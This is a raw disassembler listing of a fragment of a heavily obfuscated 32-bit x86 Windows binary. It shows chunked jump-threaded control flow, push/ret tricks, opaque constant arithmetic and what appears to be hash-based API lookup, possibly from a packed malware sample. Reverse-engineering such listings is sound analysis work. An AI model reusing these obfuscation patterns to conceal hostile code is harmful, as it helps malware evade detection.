loc_40AE13:				; CODE XREF: sub_408736+1AD6j
		jmp	loc_407410
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40AE18:				; CODE XREF: sub_40DF72-679Cj
		jmp	loc_40F3D6
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40AE1D:				; CODE XREF: sub_40BF48:loc_409687j
		push	eax
		mov	eax, esp
		push	0
		mov	edx, esp
		push	edx
		push	0
		pushf
		jmp	loc_409043
; END OF FUNCTION CHUNK	FOR sub_40BF48

; =============== S U B	R O U T	I N E =======================================



sub_40AE2D	proc near		; DATA XREF: _837l4vi2:0040AA82o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040585A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040603A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004066DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004066E6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00406922 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00406D13 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004074D0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004083FF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004092B6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040959D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A5E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AEE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040AF72 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040C4C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CA03 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040E1C6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E7C4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040F042 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00410096 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004105C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410AC1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00410F5F SIZE 0000000E BYTES

		test	al, al
		jz	loc_4092B6
		jmp	loc_4066DC
sub_40AE2D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40AE3A:				; DATA XREF: sub_40966E+362Fo
		mov	[ebp-20h], eax
		jmp	loc_40A2C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40AE42:				; CODE XREF: sub_40966E:loc_40B0A3j
		test	byte ptr [ebp-8], 2
		call	sub_410862


loc_40AE4B:				; CODE XREF: _837l4vi2:00410566j
		jnz	loc_40EBE2
		jmp	loc_40FEC4
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40AE56:				; CODE XREF: _837l4vi2:0040A2FEj
		jg	loc_410C78
		jl	loc_410840

; =============== S U B	R O U T	I N E =======================================



sub_40AE62	proc near		; CODE XREF: _837l4vi2:00409598p

; FUNCTION CHUNK AT 004056D0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040CB25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D4E8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D8AB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040FCDD SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	eax, eax
		jnz	loc_40D8AB
		jmp	loc_40CB25
sub_40AE62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_40AE73:				; CODE XREF: _837l4vi2:00409766j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4064E6


loc_40AE74:				; CODE XREF: sub_4064E6+Cj
		mov	eax, [eax]
		test	eax, eax
		jle	loc_408A0C
		jmp	loc_407B95
; END OF FUNCTION CHUNK	FOR sub_4064E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E236


loc_40AE83:				; CODE XREF: sub_40E236-61C3j
		cmp	edi, edx
		jmp	loc_40ACC2
; END OF FUNCTION CHUNK	FOR sub_40E236
; ---------------------------------------------------------------------------


loc_40AE8A:				; CODE XREF: _837l4vi2:004099DBj
		call	sub_40E266


loc_40AE8F:				; CODE XREF: _837l4vi2:loc_40C3D0j
		pop	ecx
		xor	ecx, 32B0D491h
		add	ecx, ebp
		add	ecx, 0A98C1CC6h
		mov	[ecx], al
		pop	ecx
		jmp	loc_40B308
; ---------------------------------------------------------------------------


loc_40AEA6:				; CODE XREF: _837l4vi2:0040E226j
		jbe	loc_4095D8
		mov	ecx, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_40AEAE	proc near		; CODE XREF: sub_40DE68-38Dp

; FUNCTION CHUNK AT 0040E993 SIZE 00000008 BYTES

		mov	[esp+0], edi
		pop	edi
		cmp	ds:dword_406D68[eax*4],	0
		jz	loc_40E993
		mov	eax, [ebp-4]
		jmp	loc_4092AC
sub_40AEAE	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40AECA:				; CODE XREF: sub_40D735+21BFj
		jmp	loc_410A60
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		or	ecx, edx
		jmp	sub_40E0DF
; ---------------------------------------------------------------------------


loc_40AED6:				; CODE XREF: _837l4vi2:0040A89Fj
		add	esp, 4
		push	9F05057Ch
		pop	eax
		push	offset sub_40CA86
		jmp	locret_40AD0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40AEE9:				; CODE XREF: sub_40AE2D-55CEj
		pop	ebp
		mov	eax, offset sub_40AEF3
		xchg	eax, [esp-4+arg_0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40AE2D

; =============== S U B	R O U T	I N E =======================================



sub_40AEF3	proc near		; DATA XREF: sub_40AE2D+BDo

arg_0		= dword	ptr  4

		pop	ebx
		mov	ebp, offset loc_410A34
		xchg	ebp, [esp-4+arg_0]
		jmp	nullsub_189
sub_40AEF3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AF01	proc near		; CODE XREF: sub_4064E6:loc_408A0Cp
					; _837l4vi2:0040AD9Ej
		xchg	ecx, [esp+0]
		pop	ecx
		mov	esp, ebp
		push	offset loc_40E3C1
		jmp	loc_40B531
sub_40AF01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40AF11:				; CODE XREF: sub_409D6B-2342j
		mov	eax, [edx]
		push	ebx


loc_40AF14:				; CODE XREF: sub_409D6B-234Ej
		add	ebx, 0DC84D6D1h
		push	offset sub_4097F1
		jmp	loc_408712
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_40AF25:				; DATA XREF: _837l4vi2:loc_4106FFo
		push	esi
		mov	[esp], ebp
		push	offset sub_40B0CD
		jmp	loc_405601
; ---------------------------------------------------------------------------

locret_40AF33:				; CODE XREF: _837l4vi2:loc_407308j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F6F9


loc_40AF34:				; CODE XREF: sub_40F6F9+16j
		jmp	loc_408A7B
; END OF FUNCTION CHUNK	FOR sub_40F6F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40AF39:				; CODE XREF: sub_4065B8:loc_40885Fj
		sub	ebp, 3384C9F1h
		and	esi, ebp
		xor	edx, ebp
		jmp	loc_405CDF
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		jns	loc_40881A
		push	offset sub_41021D
		jmp	locret_40D272
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40AF5B:				; CODE XREF: sub_40E3C8-7FD2j
		jnz	loc_4087E9
		jmp	loc_40CA40
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7F9


loc_40AF66:				; CODE XREF: sub_40A7F9:loc_40A801j
		jz	loc_40B696
		jmp	loc_40F4A6
; END OF FUNCTION CHUNK	FOR sub_40A7F9
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40AF72:				; CODE XREF: sub_40AE2D:loc_40CA03j
		push	ecx
		push	74B1CCE4h
		pop	ecx
		add	ecx, 0E35F8469h
		or	ecx, 0EFC93929h
		jmp	loc_410F5F
; END OF FUNCTION CHUNK	FOR sub_40AE2D

; =============== S U B	R O U T	I N E =======================================



sub_40AF8A	proc near		; CODE XREF: _837l4vi2:004066B7j
					; sub_408F1B+31D8p

; FUNCTION CHUNK AT 00405092 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004103A1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004105D4 SIZE 00000016 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	ebx, esi
		pop	esi
		mov	[ebx], edx
		jmp	loc_405092
sub_40AF8A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40AF98:				; CODE XREF: sub_409D6B:loc_405F11j
					; sub_40D735-44D2j
		xchg	esi, [edi]
		pushf


loc_40AF9B:				; CODE XREF: sub_40D735:loc_40925Bj
		call	sub_410D95


loc_40AFA0:				; CODE XREF: sub_40C099+4F14j
		jmp	loc_40A9D2
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40AFA5:				; CODE XREF: sub_40926F+6B51j
		jnb	loc_40DC6B
		jge	loc_40EA3F


loc_40AFB1:				; CODE XREF: sub_40926F:loc_405469j
		call	sub_40B088
		push	6DCB03DBh
		pop	edx
		jmp	loc_40DB0E
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: _837l4vi2:loc_40E7B6j
		xor	ebp, ebx
		test	edi, edx
		jmp	loc_40A92F

; =============== S U B	R O U T	I N E =======================================



sub_40AFCA	proc near		; CODE XREF: _837l4vi2:0040A201p
					; _837l4vi2:0040A44Fj
		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:dword_411038, eax
		retn
sub_40AFCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE96


loc_40AFD5:				; CODE XREF: sub_40CE96:loc_40CEA4j
		ror	eax, 7
		push	edx
		mov	[esp+0], eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40CE96
; ---------------------------------------------------------------------------


loc_40AFDD:				; CODE XREF: _837l4vi2:004080F8j
		jmp	loc_409FDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410362


loc_40AFE2:				; CODE XREF: sub_410362+10j
		mov	eax, [ebp-4]
		mov	al, [eax]
		and	al, 0F6h
		cmp	al, 0C2h
		jmp	loc_40F9C6
; END OF FUNCTION CHUNK	FOR sub_410362

; =============== S U B	R O U T	I N E =======================================



sub_40AFF0	proc near		; CODE XREF: _837l4vi2:004067A2p
					; _837l4vi2:00409F0Dj
		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 5
		cmp	eax, ds:dword_406D64
		push	offset sub_40B92B
		jmp	loc_407987
sub_40AFF0	endp

; ---------------------------------------------------------------------------


loc_40B00C:				; DATA XREF: sub_409F2A+6o
		or	eax, eax
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40B00E:				; CODE XREF: sub_406C7D:loc_406380j
		jnz	loc_405146
		call	sub_40B088
		mov	edx, 0B9726E5Ah
		call	sub_40E739
		push	eax
		rol	eax, 1Bh


loc_40B027:				; CODE XREF: _837l4vi2:0041027Aj
		mov	ds:dword_41000C, eax
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------


loc_40B032:				; DATA XREF: sub_40A485:loc_40D822o
		lea	eax, [ebp-25Ch]
		push	offset loc_40B73D
		jmp	loc_40916C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jnz	loc_405081
		call	sub_40A9C8


loc_40B050:				; DATA XREF: sub_407DF3+3o
		call	sub_407C12
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_40B055:				; CODE XREF: sub_405F85+8941j
		jmp	loc_410FD6
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40B05A:				; CODE XREF: sub_4108AF:loc_40E84Fj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 0
		jz	loc_409F66
		jmp	loc_4065CD
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40B06C:				; CODE XREF: sub_407AA4:loc_4095AEj
		sub	al, 99h
		mov	edx, ds:dword_406B60
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_406100
		jmp	loc_4099A0
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
		jmp	loc_406100

; =============== S U B	R O U T	I N E =======================================



sub_40B088	proc near		; CODE XREF: sub_405127p
					; _837l4vi2:loc_4056A4p ...

; FUNCTION CHUNK AT 004067C2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00409BDD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409D1E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040B3D7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040B832 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0040EB92 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_40EB92
sub_40B088	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE96


loc_40B08E:				; CODE XREF: sub_40CE96:loc_40ED71j
		jz	loc_40C27E
		jmp	loc_40A6F9
; END OF FUNCTION CHUNK	FOR sub_40CE96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40B099:				; CODE XREF: sub_40939B+49B6j
		mov	eax, ds:dword_40B9B0[eax*4]
		mov	[ebp-8], eax
; END OF FUNCTION CHUNK	FOR sub_40939B
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40B0A3:				; CODE XREF: sub_40966E+4j
					; _837l4vi2:loc_40CD42j
		jnb	loc_40AE42
		test	byte ptr [ebp-8], 2
		jz	loc_4082FD
		push	ebp
		jmp	loc_408EC8
; END OF FUNCTION CHUNK	FOR sub_40966E

; =============== S U B	R O U T	I N E =======================================



sub_40B0B9	proc near		; CODE XREF: sub_409DD8:loc_408FC9p
					; _837l4vi2:0040D39Ej

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004058DD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040B998 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DFC1 SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	edx, 0A70158B4h
		call	sub_40E739
		push	eax
		jmp	loc_4058DD
sub_40B0B9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0CD	proc near		; DATA XREF: _837l4vi2:0040AF29o

arg_4		= dword	ptr  8

		mov	ebp, esp
		push	ecx
		push	ebp
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
sub_40B0CD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40B0D6:				; CODE XREF: sub_4053DD:loc_405A39j
		jmp	loc_40D273
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBB2


loc_40B0DB:				; CODE XREF: sub_40CBB2-55B5j
		ror	edx, 0Eh
; END OF FUNCTION CHUNK	FOR sub_40CBB2
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40B0DE:				; CODE XREF: sub_4108AF:loc_410744j
		jz	loc_411018
		adc	edx, ebp


loc_40B0E6:				; CODE XREF: sub_40CBB2:loc_40E648j
		call	sub_40B088
		push	5C65F705h
		xchg	esi, [esp+10h+var_10]
		jmp	loc_40F913
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBCC


loc_40B0F8:				; CODE XREF: sub_40DBCC:loc_408913j
		xor	edx, ecx
		pushf
		jmp	loc_40DCF8
; END OF FUNCTION CHUNK	FOR sub_40DBCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_40B100:				; CODE XREF: sub_40DC3E+1j
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	[ebp-20h], eax
		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-14h], 4
		mov	eax, [ebp-14h]
		jmp	loc_40EEEB
; END OF FUNCTION CHUNK	FOR sub_40DC3E

; =============== S U B	R O U T	I N E =======================================



sub_40B11D	proc near		; DATA XREF: sub_405F85+2F5Co

var_4		= dword	ptr -4

		call	sub_40E739
		pushf
		mov	[esp+4+var_4], eax


loc_40B126:				; CODE XREF: _837l4vi2:loc_405680j
		rol	eax, 0Dh
		mov	ds:dword_40D418, eax
		retn
sub_40B11D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_40B130:				; CODE XREF: sub_40C162:loc_40EAB5j
					; sub_40CF01+39A1j
		jmp	loc_40BFCE
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECAA


loc_40B135:				; CODE XREF: sub_40ECAA+11j
		jmp	nullsub_221
; END OF FUNCTION CHUNK	FOR sub_40ECAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40B13A:				; CODE XREF: sub_4065B8:loc_407191j
					; sub_40C3AF-40F9j
		jmp	loc_40E5D6
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408BA9


loc_40B13F:				; CODE XREF: sub_408BA9:loc_40758Dj
		jmp	locret_40DAF6
; END OF FUNCTION CHUNK	FOR sub_408BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_40B144:				; CODE XREF: sub_41045F-8171j
		ror	eax, 0Dh
		push	eax
		jmp	loc_40A782
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------


loc_40B14D:				; DATA XREF: sub_4097E4+3o
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40ABAC
		or	eax, eax
		jnz	loc_40C55B
		call	sub_40B088
		mov	edx, 0D504D785h
		jmp	loc_40975C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_40B16D:				; CODE XREF: sub_40CA5A:loc_410432j
		mov	eax, ecx
		xchg	eax, [esp+4+var_4]
		mov	eax, 0FC49224Bh
		jo	loc_40D64F
		and	edx, eax
		push	offset loc_40A27E
		jmp	nullsub_195
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40B18A:				; CODE XREF: _837l4vi2:0040CA2Bj
		jmp	loc_40B21C
; ---------------------------------------------------------------------------


loc_40B18F:				; DATA XREF: sub_40DFF5+5Fo
		push	eax
		pushf
		push	2D1B843Bh
		pop	eax
		sub	eax, 0D2520CC3h
		and	eax, 0B728FD22h
		jmp	loc_40F45B
; ---------------------------------------------------------------------------
		jns	loc_408E46
		jmp	loc_40F4DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40B1B3:				; CODE XREF: sub_405950:loc_40A565j
		push	ecx
		push	915A0B36h
		pop	ecx
		xor	ecx, 91A5F431h
		and	ebx, ecx
		pop	ecx
		add	[esi], ebx
		jmp	loc_40F6E2
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------


loc_40B1CA:				; CODE XREF: _837l4vi2:0040D5AEj
		xchg	ebx, [ebp+0]
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_40B1CD:				; CODE XREF: sub_4089C5:loc_40D59Fj
		rol	eax, 16h
		jb	loc_40E564


loc_40B1D6:				; CODE XREF: sub_40B420+10j
		jmp	loc_40E8DD
; END OF FUNCTION CHUNK	FOR sub_4089C5
; ---------------------------------------------------------------------------
		jl	loc_40A304
		jmp	loc_40AD3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40B1E6:				; CODE XREF: sub_40966E:loc_40967Dj
		call	sub_40CC4A
		mov	ds:dword_40BDBC, eax
		call	sub_40B088
		mov	edx, 0A2CD59D9h
		call	sub_40CC4A
		jmp	loc_4086D9
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40B204:				; CODE XREF: _837l4vi2:00406307j
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_40B205	proc near		; CODE XREF: sub_4078C8+1BB7p

; FUNCTION CHUNK AT 0040E908 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jnz	loc_405BA6
		mov	eax, [ebp-8]
		push	offset loc_41064A
		jmp	loc_40E908
sub_40B205	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40B21C:				; CODE XREF: _837l4vi2:loc_40B18Aj
		jnz	loc_40E945
		jmp	loc_40A1C0
; ---------------------------------------------------------------------------


loc_40B227:				; CODE XREF: _837l4vi2:loc_40E7D9j
		add	eax, ebp
		add	eax, 33D23235h


loc_40B22F:				; CODE XREF: _837l4vi2:0040F20Aj
		mov	eax, [eax]
		call	sub_406CC2


loc_40B236:				; CODE XREF: _837l4vi2:004086AEj
		jmp	loc_40F4B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40B23B:				; CODE XREF: sub_40B67D:loc_40C478j
					; sub_40F812:loc_40E9F8j
		pop	ecx
		pop	ebp
		jmp	loc_407B32
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF19


loc_40B242:				; CODE XREF: sub_40BF19:loc_408EC3j
		push	esi
		mov	esi, ebp
		xchg	esi, [esp+4+var_4]
		mov	ebp, esp
		push	edx
; END OF FUNCTION CHUNK	FOR sub_40BF19
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_40B24B:				; CODE XREF: sub_40A050:loc_4089D2j
		jmp	loc_4089E6
; END OF FUNCTION CHUNK	FOR sub_40A050

; =============== S U B	R O U T	I N E =======================================



sub_40B250	proc near		; DATA XREF: _837l4vi2:00407257o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00407C21 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040A8E8 SIZE 00000005 BYTES

		mov	ecx, [ebx+ecx+0Ch]
		call	sub_4069F5


loc_40B259:				; CODE XREF: _837l4vi2:0040E4C8j
					; _837l4vi2:0040F368p
		xchg	edi, [esp-4+arg_0]
		pop	edi
		push	5E901A34h
		or	edx, ebp
		jmp	loc_40A8E8
sub_40B250	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40B269:				; CODE XREF: sub_40926F:loc_40AA2Aj
		xor	edx, 7D89506Bh
		add	edx, 0EEDE789Dh
		popf
		push	ecx
		pushf
		push	52671D74h
		pop	ecx
		xor	ecx, 73643B1Ch
		jmp	loc_409E18
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40B289:				; CODE XREF: sub_4053DD:loc_40D273j
		add	eax, 4
		mov	ebx, [eax]
		call	sub_4077E6
; END OF FUNCTION CHUNK	FOR sub_4053DD
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40B293:				; CODE XREF: sub_407FEA+6C24j
		test	ecx, 8B4E48F0h
		jmp	loc_40A0EB
; END OF FUNCTION CHUNK	FOR sub_407FEA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_40B29F:				; CODE XREF: sub_405C17+6A74j
		jbe	loc_41031F
		xor	edx, 9F21EBC1h
		jnp	loc_405BA6
		jmp	loc_40E4A9
; END OF FUNCTION CHUNK	FOR sub_405C17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_40B2B6:				; CODE XREF: sub_41045F-7468j
		rol	ebx, 2


loc_40B2B9:				; CODE XREF: sub_41045F:loc_4092FFj
		call	sub_40F36D


loc_40B2BE:				; CODE XREF: sub_40DE47:loc_4051C9j
		and	edi, ebx
		push	ebp
		add	ebp, edx
		mov	ecx, 0A510A1A0h
		jno	loc_40A97A
		jmp	loc_40BEE1
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_40B2D3:				; CODE XREF: sub_405BB4+3BEAj
		cmp	dword ptr [eax-4], 4
		jnz	loc_40E8AB
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_40F8D6
		mov	eax, [ebp+8]
		jmp	loc_408161
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40B2EF:				; CODE XREF: sub_40E3C8:loc_40DB2Aj
		test	edx, esi
		jmp	loc_409FAE
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41020E


loc_40B2F6:				; CODE XREF: sub_41020E-A757j
		shl	esi, 1Dh
		jmp	loc_40D1CA
; END OF FUNCTION CHUNK	FOR sub_41020E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061A1


loc_40B2FE:				; CODE XREF: sub_4061A1:loc_4061ACj
		push	offset sub_407F76
		jmp	loc_40A56A
; END OF FUNCTION CHUNK	FOR sub_4061A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_40B308:				; CODE XREF: sub_40D7F5:loc_409B83j
					; _837l4vi2:0040AEA1j
		jnb	loc_40CE87
		cmp	byte ptr [ebp-5], 0
		jnz	loc_40F417
		call	sub_40B088
		mov	edx, 0BE8CE1B7h
		call	sub_40E739
		mov	[ebp-4], eax
		jmp	loc_40B53B
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------


loc_40B32F:				; CODE XREF: _837l4vi2:0040C4DEj
		jmp	locret_40E179
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		push	eax
		call	sub_405CBC
		jmp	loc_405CB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EE1E


loc_40B342:				; CODE XREF: sub_40EE1E:loc_410127j
		push	offset sub_405127
		jmp	loc_408B64
; END OF FUNCTION CHUNK	FOR sub_40EE1E
; ---------------------------------------------------------------------------
		mov	ebp, esi
		add	ecx, esi
		jmp	sub_40AD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405492


loc_40B355:				; CODE XREF: sub_405492:loc_4054A5j
		xchg	edx, [esp-4+arg_0]
		retn
; END OF FUNCTION CHUNK	FOR sub_405492

; =============== S U B	R O U T	I N E =======================================



sub_40B359	proc near		; DATA XREF: sub_408CD1+3A29o
		mov	esp, ebp
		pop	ebp
		retn
sub_40B359	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBC3


loc_40B35D:				; CODE XREF: sub_40DBC3+2ECAj
		jmp	nullsub_184
; END OF FUNCTION CHUNK	FOR sub_40DBC3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B362	proc near		; CODE XREF: sub_40A8FE+9p
					; sub_40DBFA+Bp

; FUNCTION CHUNK AT 00408A35 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_408A35
sub_40B362	endp

; ---------------------------------------------------------------------------
		not	ecx
		jmp	sub_409A1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40B372:				; CODE XREF: sub_407FEA+4FB8j
		jnp	loc_40F08D
		add	ebx, eax
		jmp	loc_40C815
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4064E6


loc_40B37F:				; CODE XREF: sub_4064E6+712Cj
					; sub_4064E6:loc_40F774j
		mov	[ebp-18h], eax
		mov	dword ptr [ebp-0Ch], 1
